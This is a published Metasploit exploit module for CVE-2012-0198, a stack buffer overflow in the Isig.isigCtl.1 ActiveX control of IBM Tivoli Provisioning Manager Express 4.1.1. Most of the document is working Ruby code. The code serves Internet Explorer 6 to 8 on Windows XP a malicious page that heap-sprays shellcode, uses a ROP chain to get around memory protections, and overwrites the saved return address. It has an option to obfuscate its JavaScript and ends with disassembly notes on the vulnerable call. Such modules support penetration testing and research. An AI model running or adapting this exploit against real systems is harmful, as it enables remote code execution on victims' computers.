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IBM Tivoli Provisioning Manager Express Overflow

IBM Tivoli Provisioning Manager Express Overflow
Posted Apr 10, 2012
Authored by rgod, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module exploits a buffer overflow vulnerability in the Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning Manager Express for Software Distribution 4.1.1. The vulnerability is found in the "RunAndUploadFile" method where the "OtherFields" parameter with user controlled data is used to build a "Content-Disposition" header and attach contents in a insecure way which allows to overflow a buffer in the stack.

tags | exploit, overflow, activex
advisories | CVE-2012-0198, OSVDB-79735
MD5 | 4e9032b334315bf475fe1ffff1a62448

IBM Tivoli Provisioning Manager Express Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:rank => NormalRanking,
:classid => "{84B74E82-3475-420E-9949-773B4FB91771}",
:vuln_test => "RunAndUploadFile",
})

def initialize(info={})
super(update_info(info,
'Name' => "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability in the
Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning
Manager Express for Software Distribution 4.1.1.

The vulnerability is found in the "RunAndUploadFile" method
where the "OtherFields" parameter with user controlled data
is used to build a "Content-Dispoition" header and attach
contents in a insecure way which allows to overflow a buffer
in the stack.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrea Micalizzi aka rgod', # Vulnerability discovery
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0198' ],
[ 'OSVDB', '79735' ],
[ 'BID', '52252' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-040/' ]
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# isig.dll 2.44.282.0
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil,
'Offset' => 161, # length is strlen("submit") dependant
'OffsetShell' => '0x800 - code.length',
'ebp' => 0x09090909,
'Ret' => 0x09090909
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil,
'Offset' => 161, # length is strlen("submit") dependant
'OffsetShell' => '0x800 - code.length',
'ebp' => 0x09090909,
'Ret' => 0x09090909
}
],
[
'IE 8 on Windows XP SP3',
{
'Rop' => :jre,
'Offset' => 161, # length is strlen("submit") dependant
'OffsetShell' => '0x480',
'ebp' => 0x09090920,
'Ret' => 0x7c375a3d # stackpivot from msvcr71.dll # mov esp, ebp # pop ebp # ret
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 01 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
else
return nil
end
end

def get_payload(t, cli)

if t['Rop'].nil?
code = ""
else
#Fix the stack to avoid anything busted
code = "\x81\xC4\x54\xF2\xFF\xFF"
end
code << payload.encoded

# No rop. Just return the payload.
return code if t['Rop'].nil?

# ROP chain generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Using JRE ROP")
exec_size = 0xffffffff - code.length + 1
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
exec_size, # Value to NEG
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end

code = rop + code
return code
end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost.ljust(16)} #{self.shortname} Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end

print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Client requesting: #{request.uri}")

p = get_payload(my_target, cli)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch))

js_spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['OffsetShell']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var i=0; i < 0x1A0; i++) {
heap_obj.alloc(block);
}

JS

js_spray = heaplib(js_spray, {:noobfu => true})

if datastore['OBFUSCATE']
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
js_spray.obfuscate
end

bof = rand_text_alpha(my_target['Offset'])
bof << [my_target['ebp']].pack("V") # ebp
bof << [my_target.ret].pack("V") # eip

html = <<-HTML
<html>
<head>
<script>
#{js_spray}
</script>
</head>
<object classid='clsid:84B74E82-3475-420E-9949-773B4FB91771' id='isig'></object>
<script>
var url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{datastore['SRVPORT']}/tpmx/uploadEG2.do";
var fields = "submit:#{bof};FROM_EMAIL:true;userKey:2";
var flags = "-level5";
msg = isig.RunAndUploadFile(url, fields, flags);
</script>
</html>
HTML

html = html.gsub(/^\t\t/, '')

print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end

=begin

* Vulnerability notes

The Dangerous strcat allows to attach user-controlled contents after
the Content-disposition header:

.text:100040B0 Src = byte ptr -100h
...
.text:100040DD push [ebp+Source] ; Source => User controlled via "fields" param
.text:100040E0 lea eax, [ebp+Src]
.text:100040E6 push eax ; Dest => Local variable where the Content-disposition header
; has been stored
.text:100040E7 call _strcat ; strcat used by this module to overflow

Function isn't protected with stack cookies so get
the control flow is easy by overwriting the saved EIP
on the stack.

=end

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